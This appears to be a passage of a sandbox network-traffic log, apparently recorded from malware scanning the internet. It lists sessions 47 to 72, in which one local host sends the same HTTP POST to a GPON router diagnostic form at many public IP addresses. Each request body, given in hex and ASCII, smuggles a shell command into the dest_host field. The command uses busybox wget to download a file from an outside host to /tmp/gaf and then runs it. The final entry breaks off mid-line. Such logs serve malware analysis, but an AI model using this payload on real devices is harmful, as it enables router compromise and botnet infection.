47	192.168.2.13	39782	212.31.141.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706505060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	47978	109.234.205.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706556082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	41690	202.178.0.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706577063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	42106	42.192.177.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706599951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	47248	42.233.250.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706631899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	51264	123.80.52.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706675053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	60852	148.91.176.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706691027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	48876	202.231.225.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706736088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	41152	210.187.211.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706775904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	42434	212.113.46.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706815958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	33634	117.87.253.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706856012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	59156	109.183.31.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706883907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	40958	37.196.42.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706902981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	50742	37.1.211.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706933975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	36970	42.250.253.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706959963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	35566	42.122.27.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707007885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	42246	148.173.98.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707039118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	54890	123.225.121.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707073927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	41378	148.128.237.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707097054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	59346	123.175.9.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707117081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	47986	123.59.192.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707161903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	37864	5.195.132.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707189083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	55992	94.76.201.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707221985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	52510	210.197.108.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707247019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	34960	5.180.102.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707273006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	44148	178.129.77.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707273960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 